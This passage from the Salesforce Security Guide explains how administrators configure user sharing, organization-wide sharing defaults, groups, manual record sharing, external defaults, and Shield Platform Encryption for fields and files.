but keep them from seeing or interacting with each other. If so, set the organization-wide defaults
for the user object to Private. Then, open up access to specified dealers with sharing rules or manual
sharing.
With User Sharing, you can:
• Assign the “View All Users” permission to users who need to see or interact with all users. This
permission is automatically enabled for users who have the “Manage Users” permission.
• Set the organization-wide default for user records to Private or Public Read Only.
• Create user sharing rules based on group membership or other criteria.
• Create manual shares for user records to open up access to individual users or groups.
• Control the visibility of external users in customer or partner portals and communities.

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Manual sharing, portals,
and communities Available
in: Salesforce Classic (not
available in all orgs)
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

Salesforce Security Guide

User Sharing

IN THIS SECTION:
Understanding User Sharing
Set organization-wide defaults for internal and external user records. Then, extend access using sharing rules based on membership
to public groups, roles, or territories, or use manual sharing to share individual user records with other users or groups.
Set the Org-Wide Sharing Defaults for User Records
Set the org-wide sharing defaults for the user object before opening up access.
Share User Records
Your administrator defines your organization’s sharing model and default access levels for user records. If the organization-wide
default access is set to Private or Public Read Only, you can extend sharing privileges for your own user record. However, you can’t
restrict access below your organization’s default access levels.
Restoring User Visibility Defaults

Understanding User Sharing
Set organization-wide defaults for internal and external user records. Then, extend access using
sharing rules based on membership to public groups, roles, or territories, or use manual sharing to
share individual user records with other users or groups.
When you enable user sharing, users can see other users in search, list views, and so on only if they
have Read access on those users.
Review these considerations before you implement user sharing.
“View All Users” permission
This permission can be assigned to users who need Read access to all users, regardless of the
sharing settings. If you already have the “Manage Users” permission, you are automatically
granted the “View All Users” permission.
Organization-wide defaults for user records
This setting defaults to Private for external users and Public Read Only for internal users. When
the default access is set to Private, users can only read and edit their own user record. Users
with subordinates in the role hierarchy maintain read access to the user records of those
subordinates.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Manual sharing available in:
Salesforce Classic
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

User sharing rules
General sharing rule considerations apply to user sharing rules. User sharing rules are based on membership to a public group, role,
or territory. Each sharing rule shares members of a source group with those of the target group. You must create the appropriate
public groups, roles, or territories before creating your sharing rules. Users inherit the same access as users below them in the role
hierarchy.
Manual sharing for user records
Manual sharing can grant read or edit access on an individual user, but only if the access is greater than the default access for the
target user. Users inherit the same access as users below them in the role hierarchy. Apex managed sharing is not supported.
User sharing for external users
Users with the “Manage External Users” permission have access to external user records for Partner Relationship Management,
Customer Service, and Customer Self-Service portal users, regardless of sharing rules or organization-wide default settings for User
records. The “Manage External Users” permission does not grant access to guest or Chatter External users
User Sharing Compatibility
When the organization-wide default for the user object is set to Private, User Sharing does not fully support these features.

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• Chatter Messenger is not available for external users. It is available for internal users only when the organization-wide default
for the user object is set to Public Read Only.
• Customizable Forecasts—Users with the "View All Forecast" permission can see users to whom they don't have access.
• Salesforce CRM Content—A user who can create libraries can see users they don't have access to when adding library members.
• Standard Report Types—Some reports based on standard report types expose data of users to whom a user doesn’t have access.
For more information, see Control Standard Report Visibility.

Set the Org-Wide Sharing Defaults for User Records
Set the org-wide sharing defaults for the user object before opening up access.
For user records, you can set the organization-wide sharing default to Private or Public Read Only.
The default must be set to Private if there is at least one user who shouldn’t see a record.
Let’s say that your organization has internal users (employees and sales agents) and external users
(customers/portal users) under different sales agents or portal accounts, with these requirements:
• Employees can see everyone.
• Sales agents can see employees, other agents, and their own customer user records only.
• Customers can see other customers only if they are under the same agent or portal account.
To meet these requirements, set the default external access to Private, and extend access using
sharing rules, manual sharing, or user permissions.
When the feature is first turned on, the default access setting is Private for external users. The default
for internal users is Public Read Only. To change the organization-wide defaults for external access
to the user object:
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To set default sharing
access:
• Manage Sharing

2. Click Edit in the Organization-Wide Defaults area.
3. Select the default internal and external access you want to use for user records.
The default external access must be more restrictive or equal to the default internal access.
4. Click Save.
Users have Read access to those below them in the role hierarchy and full access on their own user record.

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Share User Records
Your administrator defines your organization’s sharing model and default access levels for user
records. If the organization-wide default access is set to Private or Public Read Only, you can extend
sharing privileges for your own user record. However, you can’t restrict access below your
organization’s default access levels.
You can share external user records, such as external community users and customer portal or
partner portal users. You can also share an internal user record with an external user. To view and
manage sharing details, click Sharing on the user detail page. The Sharing Detail page lists the
users, groups, roles, and territories that have sharing access to the user record. On this page, you
can perform these tasks.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click
Create New View to define your own custom views. To edit or delete any view you created,
select it from the View drop-down list and click Edit.
• Grant access to the record for other users, groups, roles, or territories by clicking Add. This
method of granting access is also known as manual sharing of your user records.
• Edit or delete the manual share by clicking Edit or Del next to the rule.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To view user records:
• Read on user records

An administrator can disable or enable manual user record sharing for all users.

Restoring User Visibility Defaults
User Sharing enables you to control who sees who in the organization. You can restore your defaults
if you have previously used User Sharing.

EDITIONS

To restore user visibility defaults:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
2. Set the organization-wide defaults to Public Read Only for internal access and Private for external
access.
3. Enable portal account user access.
On the Sharings Settings page, select the Portal User Visibility checkbox. This option enables
customer portal users to see other users under the same portal account. Additionally, partner
portal users can see the portal account owner. If Community User Visibility is also selected, users
from the same community can see each other as well.
4. Enable network member access.

Portals and communities
available in: Salesforce
Classic
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS

On the Sharing Settings page, select the Community User Visibility checkbox. This option
enables community members to be seen by all other users in their communities. If Portal User
Visibility is also selected, portal users can see other portal users from the same account as well.

To restore user visibility
defaults:
• Manage Sharing

5. Remove user sharing rules.
On the Sharing Settings page, click Del next to all available user sharing rules.
6. Remove HVPU access to user records.
On the Customer Portal Setup page, click Del next to all available sharing sets for HVPUs.
After user visibility is restored to the defaults, all internal users are visible to each other, portal users under the same portal account are
visible to each other, and community members in the same community are visible to each other.

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What Is a Group?

What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users
in a particular role or territory. It can also contain the users in a particular role or territory plus all the
users below that role or territory in the hierarchy.
There are two types of groups.
Public groups
Administrators and delegated administrators can create public groups. Everyone in the
organization can use public groups. For example, an administrator can create a group for an
employee carpool program. All employees can then use this group to share records about the
program.

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Personal groups
Each user can create groups for their personal use. For example, users might need to ensure
that certain records are always shared within a specified workgroup.
You can use groups in the following ways.
• To set up default sharing access via a sharing rule
• To share your records with other users
• To specify that you want to synchronize contacts owned by other users
• To add multiple users to a Salesforce CRM Content library
• To assign users to specific actions in Salesforce Knowledge
IN THIS SECTION:
Create and Edit Groups
Group Member Types
Many types of groups are available for various internal and external users.
Viewing All Users in a Group
Granting Access to Records
You can use manual sharing to give specific other users access to certain types of records, including accounts, contacts, and leads.
Sometimes, granting access to one record includes access to all its associated records.

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What Is a Group?

Create and Edit Groups
Only administrators and delegated administrators can create and edit public groups, but anyone
can create and edit their own personal groups.

EDITIONS

To create or edit a group:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

1. Click the control that matches the type of group:
• For personal groups, go to your personal settings and click My Personal Information or
Personal—whichever one appears. Then click My Groups. The Personal Groups related
list is also available on the user detail page.
• For public groups, from Setup, enter Public Groups in the Quick Find box, then
select Public Groups.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

2. Click New, or click Edit next to the group you want to edit.

USER PERMISSIONS

3. Enter the following:
Field

Description

Label

The name used to refer to the group in any user
interface pages.

Group Name (public groups only) The unique name used by the API and managed

packages.
Grant Access Using
Hierarchies (public groups

only)

Select Grant Access Using Hierarchies to allow
automatic access to records using your role hierarchies.
When selected, any records shared with users in this
group are also shared with users higher in the hierarchy.
Deselect Grant Access Using Hierarchies if you’re
creating a public group with All Internal Users as
members, which optimizes performance for sharing
records with groups.
Note: If Grant Access Using Hierarchies is
deselected, users that are higher in the role
hierarchy don’t receive automatic access.
However, some users—such as those with the
“View All” and “Modify All” object permissions
and the “View All Data” and “Modify All Data”
system permissions—can still access records
they don’t own.

From the Search drop-down list, select the type of
member to add. If you don’t see the member you want
to add, enter keywords in the search box and click Find.
Note: For account owners to see child records
owned by high-volume portal users, they must
be members of any portal share groups with
access to the portal users' data.

142

To create or edit a public
group:
• Manage Users
To create or edit another
user’s personal group:
• Manage Users

Salesforce Security Guide

What Is a Group?

Selected Members

Select members from the Available Members box, and click Add to add them
to the group.

Selected Delegated Groups

In this list, specify any delegated administration groups whose members can
add or remove members from this public group. Select groups from the
Available Delegated Groups box, and then click Add. This list appears only
in public groups.

4. Click Save.
Note: When you edit groups, roles, and territories, sharing rules are recalculated to add or remove access as needed.

Group Member Types
Many types of groups are available for various internal and external users.
When you create or edit a group, you can select the following types of members from the Search
drop-down list. Depending on your organization settings, some types may not be available.
Member Type

Description

Customer Portal Users

All of your Customer Portal users. This is only
available when a Customer Portal is enabled for
your organization.

Partner Users

All of your partner users. This is only available
when a partner portal is enabled for your
organization.

Personal Groups

All of your own groups. This is only available
when creating other personal groups.

Portal Roles

All roles defined for your organization’s partner
portal or Customer Portal. This includes all users
in the specified portal role, except high-volume
portal users.
Note: A portal role name includes the
name of the account that it’s associated
with, except for person accounts, which
include the user Alias.

Portal Roles and Subordinates

All roles defined for your organization’s partner
portal or Customer Portal. This includes all of
the users in the specified portal role plus all of
the users below that role in the portal role
hierarchy, except for high-volume portal users.
Note: A portal role name includes the
name of the account that it’s associated

143

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions
The member types that are
available vary depending on
your Edition.

USER PERMISSIONS
To create or edit a public
group:
• Manage Users
To create or edit another
user’s personal group:
• Manage Users

Salesforce Security Guide

Member Type

What Is a Group?

Description
with, except for person accounts, which include the user
Alias.

Public Groups

All public groups defined by your administrator.

Roles

All roles defined for your organization. Adding a role to a group
includes all of the users in that role, but does not include portal
roles.

Roles and Internal Subordinates

Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This doesn't
include portal roles or users.

Roles and Subordinates

Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This is only
available when no portals are enabled for your organization.

Roles, Internal and Portal Subordinates

Adding a role and its subordinate roles includes all of the users in
that role plus all of the users in roles below that role. This is only
available when a partner or Customer Portal is enabled for your
organization. This includes portal users.

Users

All users in your organization. This doesn't include portal users.

Viewing All Users in a Group
The All Users list shows users who belong to the selected personal or public group, queue, or role
or territory sharing group.The All Users list shows users who belong to the selected public group,
queue, or role sharing group. From this page, you can view detailed user information, edit user
information, and access related information.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click
Create New View to define your own custom views. To edit or delete any view you created,
select it from the View drop-down list and click Edit.
• Click Edit next to a username to edit the user information.
• Click Login next to a username to log in as that user. This link is only available for users who
have granted login access to an administrator, or in organizations where administrators can
log in as any user.

144

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Salesforce Security Guide

What Is a Group?

Granting Access to Records
You can use manual sharing to give specific other users access to certain types of records, including
accounts, contacts, and leads. Sometimes, granting access to one record includes access to all its
associated records.
For example, if you grant another user access to an account, the user automatically has access to
all the opportunities and cases associated with that account.
To grant access to a record, you must be one of the following users.
• The record owner
• A user in a role above the owner in the hierarchy (if your organization’s sharing settings control
access through hierarchies)
• Any user granted Full Access to the record
• An administrator
To grant access to a record using a manual share:
1. Click Sharing on the record you want to share.
2. Click Add.
3. From the Search drop-down list, select the type of group, user, role, or territory to add.
Depending on the data in your organization, your options can include:
Type

Description

Managers Groups

All direct and indirect managers of a user.

Manager Subordinates Groups

Managers and all the direct and indirect
reports they manage.

Public Groups

All public groups defined by your
administrator.

Personal Groups

All personal groups defined by the record
owner. Only record owners can share with
their personal groups.

Users

All users in your organization. Does not
include portal users.

Roles

All roles defined for your organization,
including all users in each role.

Roles and Subordinates

All users in the role plus all users in roles below
that role in the hierarchy. Only available when
no portals are enabled for your organization.

Roles and Internal Subordinates

All roles defined for your organization,
including all users in the specified role, all the
users in roles below that role. However, it
doesn’t include partner portal and Customer
Portal roles.

145

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Sharing for accounts and
contacts is available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Sharing for campaigns,
cases, custom object
records, leads, and
opportunities is available in
Enterprise, Performance,
Unlimited, and Developer
Editions
Territory management
available in: Developer and
Performance Editions and
in Enterprise and Unlimited
Editions with the Sales Cloud

Salesforce Security Guide

What Is a Group?

Type

Description

Roles and Internal and Portal Subordinates

Adds a role and its subordinate roles. Includes all users in that
role plus all users in roles below that role. Only available when
a partner or Customer Portal is enabled for your organization.
Includes portal roles and users.

Territories

For organizations that use territory management, all territories
defined for your organization, including all users in each territory.

Territories and Subordinates

For organizations that use territory management, all users in the
territory plus the users below that territory.

Note: In organizations with more than 2,000 users, roles, and groups, if your query doesn’t match any items in a particular
category that category doesn’t show up in the Search drop-down menu. For example, if none of your group names contain
the string “CEO,” after searching for “CEO”, the Groups option no longer appears in the drop-down. If you enter a new search
term, all categories are still searched even if they don’t appear in the list. You can repopulate the drop-down by clearing your
search terms and pressing Find.
4. Choose the specific groups, users, roles, or territories whom you want to give access by adding their names to the Share With list.
Use the Add and Remove arrows to move the items from the Available list to the Share With list.
5. Choose the access level for the record you are sharing and any associated records that you own.
Note:
• If you’re sharing an opportunity or case, the users you share it with must have at least Read access to the account (unless
you are sharing a case via a case team). If you also have privileges to share the account itself, the users you share it with
are automatically given Read access to the account. If you do not have privileges to share the account, you must ask the
account owner to give others Read access to it.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
• For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only.
For example, if an account sharing rule specifies Private as the access level for associated contacts, a user can access to
associated contacts via other means. These means include org-wide defaults, the Modify All Data or View All Data permission,
or the Modify All or View All permission for contacts.
6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason you’re sharing the record so users and administrators can understand.
8. Click Save.

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Organization-Wide Sharing Defaults

Organization-Wide Sharing Defaults
Define the default access level for an object’s records with organization-wide sharing settings.
Organization-wide sharing settings can be set separately for custom objects and many standard
objects, including assets, campaigns, cases, and accounts and their contracts.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or
Public Read/Write. In environments where the organization-wide sharing setting for an object is
Private or Public Read Only, an admin can grant users additional access to records by setting up a
role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional
access—they cannot be used to restrict access to records beyond what was originally specified
with the organization-wide sharing defaults.
Important: If your org uses a Customer Portal, before you enable contacts to access the
portal, set the organization-wide sharing defaults on accounts, contacts, contracts, assets,
and cases to Private. This ensures that by default your customers can view only their own
data. You can still grant your Salesforce users Public Read/Write access by creating sharing
rules in which all internal users share with all internal users.

By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users above the
record owner in the hierarchy.
Setting an object to Private makes those records visible only to record owners and those above them in the role hierarchy. Use the Grant
Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy for custom objects
in Professional, Enterprise, Unlimited, Performance, and Developer Edition. If you deselect this checkbox for a custom object, only the
record owner and users granted access by the organization-wide defaults receive access to the records.
IN THIS SECTION:
Set Your Organization-Wide Sharing Defaults
Organization-wide sharing defaults set the baseline access for your records. You can set the defaults separately for different objects.
External Organization-Wide Defaults Overview
External organization-wide defaults provide separate organization-wide defaults for internal and external users. They simplify your
sharing rules configuration and improve recalculation performance. Additionally, you can easily see which information is being
shared to portals and other external users.

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Set Your Organization-Wide Sharing Defaults
Organization-wide sharing defaults set the baseline access for your records. You can set the defaults
separately for different objects.
Note:

Who Sees What: Organization-Wide Defaults (English only)

Watch how you can restrict access to records owned by other users.
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use. If you have external organization-wide
defaults, see External Organization-Wide Defaults Overview.
4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies
for any custom object that does not have a default access of Controlled by Parent.
Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role
or territory hierarchy don’t receive automatic access. However, some users—such as
those with the “View All” and “Modify All” object permissions and the “View All Data” and
“Modify All Data” system permissions—can still access records they don’t own.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To set default sharing
access:
• Manage Sharing

When you update organization-wide defaults, sharing recalculation applies the access changes to your records. If you have a lot of data,
the update can take longer.
• If you are increasing the default access, such as from Public Read Only to Public Read/Write, your changes take effect immediately.
All users get access based on the updated default access. Sharing recalculation is then run asynchronously to ensure that all redundant
access from manual or sharing rules are removed.
Note: When the default access for contacts is Controlled by Parent and you increase the default access for accounts,
opportunities, or cases, the changes take effect after recalculation is run.
• If you are decreasing the default access, such as from Public Read/Write to Public Read Only, your changes take effect after recalculation
is run.
You’ll receive a notification email when the recalculation completes. Refresh the Sharing Settings page to see your changes. To view the
update status, from Setup, enter View Setup Audit Trail in the Quick Find box, then select View Setup Audit Trail.

Limitations
The organization-wide sharing default setting can’t be changed for some objects:
• Service contracts are always Private.
• User provisioning requests are always Private.
• The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored.
• Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing is enabled.
• When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default is set
to Controlled by Parent and it is not editable.
• The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the sharing
entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access on a custom
object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s organization-wide sharing
setting from private to public.

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Organization-Wide Sharing Defaults

External Organization-Wide Defaults Overview
External organization-wide defaults provide separate organization-wide defaults for internal and
external users. They simplify your sharing rules configuration and improve recalculation performance.
Additionally, you can easily see which information is being shared to portals and other external
users.
Previously, if your org wanted Public Read Only or Public Read/Write access for internal users but
Private for external users, you would have to set the default access to Private and create a sharing
rule to share records with all internal users. With separate organization-wide defaults, you can
achieve similar behavior by setting the default internal access to Public Read Only or Public
Read/Write and the default external access to Private. These settings also speed up performance
for reports, list views, searches, and API queries.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

External users include:
• Authenticated website users
• Chatter external users
• Community users
• Customer Portal users
• Guest users
• High-volume portal users
• Partner Portal users
• Service Cloud Portal users
Note: Chatter external users have access to only the User object.

IN THIS SECTION:
Setting the External Organization-Wide Defaults
External Organization-Wide Defaults enable you to set a different default access level for external users.
Disabling External Organization-Wide Defaults
Disabling External Organization-Wide Defaults results in one organization-wide default for each object.

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Organization-Wide Sharing Defaults

Setting the External Organization-Wide Defaults
External Organization-Wide Defaults enable you to set a different default access level for external
users.

EDITIONS

Before you set the external organization-wide defaults, make sure that it is enabled. From Setup,
enter Sharing Settings in the Quick Find box, then select Sharing Settings, and
click the Enable External Sharing Model button.

Available in: Salesforce
Classic (not available in all
orgs)

When you first enable external organization-wide defaults, the default internal access and default
external access are set to the original default access level. For example, if your organization-wide
default for contacts is Private, the default internal access and default external access are Private as
well.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

To set the external organization-wide default for an object:
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use.

USER PERMISSIONS
To set default sharing
access:
• Manage Sharing

You can assign the following access levels.
Access Level

Description

Controlled by Parent

Users can perform actions (such as view, edit, delete) on a record on
the detail side of a master-detail relationship if they can perform the
same action on all associated master records.
Note: For contacts, Controlled by Parent must be
set for both the default internal and external access.

Private

Only users who are granted access by ownership, permissions, role
hierarchy, manual sharing, or sharing rules can access the records.

Public Read Only

All users can view all records for the object.

Public Read/Write

All users can view and edit all records for the object.

Note: The default external access level must be more restrictive or equal to the default internal access level. For example, you
can have a custom object with default external access set to Private and default internal access set to Public Read Only.
4. Click Save.

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Strengthen Your Data's Security with Shield Platform
Encryption

Disabling External Organization-Wide Defaults
Disabling External Organization-Wide Defaults results in one organization-wide default for each
object.

EDITIONS

Before disabling this feature, set Default External Access and Default Internal Access to the
same access level for each object.

Available in: Salesforce
Classic (not available in all
orgs)

To disable the external organization-wide defaults:
1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings
2. Click Disable External Sharing Model in the Organization-Wide Defaults area.
After disabling the external organization-wide defaults, you’ll see the Default Access setting instead
of the Default External Access and Default Internal Access settings in the organization-wide
defaults area. If you have User Sharing, the Default External Access settings for the account,
contact, case, and opportunity objects remain visible but they are disabled.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To disable external
organization-wide defaults:
• Manage Sharing

Strengthen Your Data's Security with Shield Platform Encryption
Shield Platform Encryption gives your data a whole new layer of security while preserving critical
platform functionality. It enables you to encrypt sensitive data at rest, and not just when transmitted
over a network, so your company can confidently comply with privacy policies, regulatory
requirements, and contractual obligations for handling private data.
Shield Platform Encryption builds on the data encryption options that Salesforce offers out of the
box. Data stored in many standard and custom fields and in files and attachments is encrypted
using an advanced HSM-based key derivation system, so it is protected even when other lines of
defense have been compromised.
Your data encryption key is never saved or shared across organizations. Instead, it is derived on
demand from a master secret and your organization-specific tenant secret, and cached on an
application server.
You can try out Shield Platform Encryption at no charge in Developer Edition orgs. It is available in
sandboxes after it has been provisioned for your production org.

EDITIONS
Available as an add-on
subscription in: Enterprise,
Performance, and
Unlimited Editions. Requires
purchasing Salesforce
Shield. Available in
Developer Edition at no
charge for orgs created in
Summer ’15 and later.
Available in both Salesforce
Classic and Lightning
Experience.

IN THIS SECTION:
Encrypt Fields, Files, and Other Data Elements With Encryption Policy
You have a lot of flexibility in how to implement your encryption policy. Encrypt individual fields and apply different encryption
schemes to those fields. Or choose to encrypt other data elements such as files and attachments, data in Chatter, or search indexes.
Remember that encryption is not the same thing as field-level security or object-level security. Put those controls in place before
you implement your encryption strategy.
Filter Encrypted Data with Deterministic Encryption
You can filter data that you have protected with Salesforce Shield Platform Encryption using deterministic encryption. Your users
can filter records in reports and list views, even when the underlying fields are encrypted. Deterministic encryption supports WHERE
clauses in SOQL queries and is compatible with unique and external ID fields. It also supports single-column indexes and single-column
case-sensitive unique indexes. Shield Platform Encryption uses the Advanced Encryption Standard (AES) with 256-bit keys with CBC
mode, and a static initialization vector (IV).

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Encrypt Fields, Files, and Other Data Elements With Encryption
Policy

Encrypt Fields, Files, and Other Data Elements With Encryption Policy
You have a lot of flexibility in how to implement your encryption policy. Encrypt individual fields
and apply different encryption schemes to those fields. Or choose to encrypt other data elements
such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not
the same thing as field-level security or object-level security. Put those controls in place before you
implement your encryption strategy.
IN THIS SECTION:
Encrypt New Data in Standard Fields
You can encrypt standard fields on standard objects from the Encryption policy page. For best
results, encrypt the least amount of fields possible.
Encrypt Fields on Custom Objects and Custom Fields
You can encrypt standard fields on custom objects, and custom fields on both standard and
custom objects, from the management settings for each object. For best results, encrypt the
least amount of fields possible. When you add encryption to a field, all new data in that field is
encrypted.

Encrypt New Files and Attachments
For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is on, the body of each file or
attachment is encrypted when it’s uploaded.
Get Statistics About Your Encryption Coverage
The Encryption Statistics page provides an overview of all your encrypted data. This information helps you to stay on top of your key
rotation and management tasks. You can also use encryption statistics to identify which objects and fields you may want to update
after you rotate your key material.
Synchronize Your Data Encryption with the Background Encryption Service
Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy,
it’s important to synchronize new and existing encrypted data under your most recent encryption policy and keys.
Fix Compatibility Problems
When you select fields or files to encrypt, Salesforce automatically checks for potential side effects and warns you if any existing
settings may pose a risk to data access or your normal use of Salesforce. You have some options for how to clear up these problems.

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Encrypt Fields, Files, and Other Data Elements With Encryption
Policy

Use Encrypted Data in Formulas
Use custom formula fields to quickly find encrypted data. You can write formulas with several operators and functions, render
encrypted data in text, date, and date/time formats, and reference quick actions.
Apply Encryption to Fields Used in Matching Rules
Matching rules used in duplicate management help you maintain clean and accurate data. Apply deterministic encryption to the
fields to make them compatible with standard and custom matching rules.
Encrypt Data in Chatter
Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that users share in Chatter. You can
encrypt data at rest in feed posts and comments, questions and answers, link names and URLs, poll questions and choices, and
content from your custom rich publisher apps.
Encrypt Search Index Files
Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted in the database. When you search
your org, the results are stored in search index files. You can encrypt these search index files, adding another layer of security to your
data.
Encrypt Einstein Analytics Data
To get started with Einstein Analytics Encryption, generate a tenant secret with Shield Platform Encryption. Once you generate an
Analytics tenant secret, Einstein Analytics Encryption uses the Shield Platform Encryption key management architecture to encrypt
your Einstein Analytics data.

Encrypt New Data in Standard Fields
You can encrypt standard fields on standard objects from the Encryption policy page. For best
results, encrypt the least amount of fields possible.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?
Depending on the size of your org, enabling a standard field for encryption can take a few minutes.
1. Make sure that your org has an active encryption key. If you’re not sure, check with your
administrator.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
3. Click Encrypt Fields.
4. Click Edit.
5. Select the fields you want to encrypt.
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic
encryption scheme. To apply deterministic encryption to your data, select Deterministic from
the Encryption Scheme list. For more information, see “How Deterministic Encryption Supports
Filtering” in Salesforce Help.

USER PERMISSIONS

6. Click Save.

To view setup:
• View Setup and
Configuration

The automatic Platform Encryption validation service checks for settings in your org that can block
encryption. You receive an email with suggestions for fixing incompatible settings.

To encrypt fields:
• Customize Application

Field values are automatically encrypted only in records created or updated after you’ve enabled
encryption. Contact Salesforce to update existing records so that their field values are encrypted.

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Note: To encrypt standard fields on custom objects, such as Custom Object Name, see Customize Standard Fields.

Encrypt Fields on Custom Objects and Custom Fields
You can encrypt standard fields on custom objects, and custom fields on both standard and custom
objects, from the management settings for each object. For best results, encrypt the least amount
of fields possible. When you add encryption to a field, all new data in that field is encrypted.
IN THIS SECTION:
Encrypt New Data in Custom Fields in Salesforce Classic
Add encryption when you create a field in Salesforce Classic, or add encryption to new data
entered in an existing custom field.
Encrypt New Data in Custom Fields in Lightning Experience
Add encryption when you create a new field in Lightning Experience, or add encryption to new
data entered in an existing custom field.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To encrypt fields:
• Customize Application

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Encrypt New Data in Custom Fields in Salesforce Classic
Add encryption when you create a field in Salesforce Classic, or add encryption to new data entered
in an existing custom field.

EDITIONS

To apply deterministic encryption to custom fields, first enable deterministic encryption from the
Platform Encryption Advanced Settings page in Setup.

Available as an add-on
subscription in: Enterprise,
Performance, and
Unlimited Editions. Requires
purchasing Salesforce
Shield. Available in
Developer Edition at no
charge for orgs created in
Summer ’15 and later.

1. From the management settings for the object, go to Fields.
2. In the Custom Fields & Relationships section, create a field or edit an existing one.
3. Select Encrypted.
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic
encryption scheme. To apply deterministic encryption to your data, select a deterministic option
listed under Encrypted.
4. Click Save.
The automatic Platform Encryption validation service checks for settings in your org that can block
encryption. You receive an email with suggestions for fixing incompatible settings.
Field values are automatically encrypted only in records created or updated after you’ve enabled
encryption. Contact Salesforce to encrypt existing data.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?

Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To encrypt fields:
• Customize Application

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Encrypt New Data in Custom Fields in Lightning Experience
Add encryption when you create a new field in Lightning Experience, or add encryption to new
data entered in an existing custom field.

EDITIONS

To apply deterministic encryption to custom fields, first enable deterministic encryption from the
Platform Encryption Advanced Settings page in Setup.

1. From Setup, select Object Manager, and then select your object.
2. Click Fields & Relationships.
3. When you create or edit a custom field, select Encrypted.
All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic
encryption scheme. To apply deterministic encryption to your data, select a deterministic option
listed under Encrypted.
4. Click Save.
The automatic Platform Encryption validation service checks for settings in your org that can block
encryption. You receive an email with suggestions for fixing incompatible settings.
Field values are automatically encrypted only in records created or updated after you’ve enabled
encryption. Contact Salesforce to encrypt existing data.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?

Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To encrypt fields:
• Customize Application

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Encrypt New Files and Attachments
For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is
on, the body of each file or attachment is encrypted when it’s uploaded.
Note: Before you begin, make sure that your organization has an active encryption key; if
you’re not sure, check with your administrator.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
2. Select Encrypt Files and Attachments.
3. Click Save.
Important: Users with access to the file can work normally with it regardless of their
encryption-specific permissions. Users who are logged in to your org and have read access
can search and view the body content.
Users can continue to upload files and attachments per the usual file size limits. Expansion of file
sizes caused by encryption doesn’t count against these limits.
Turning on file and attachment encryption affects new files and attachments. It doesn’t automatically
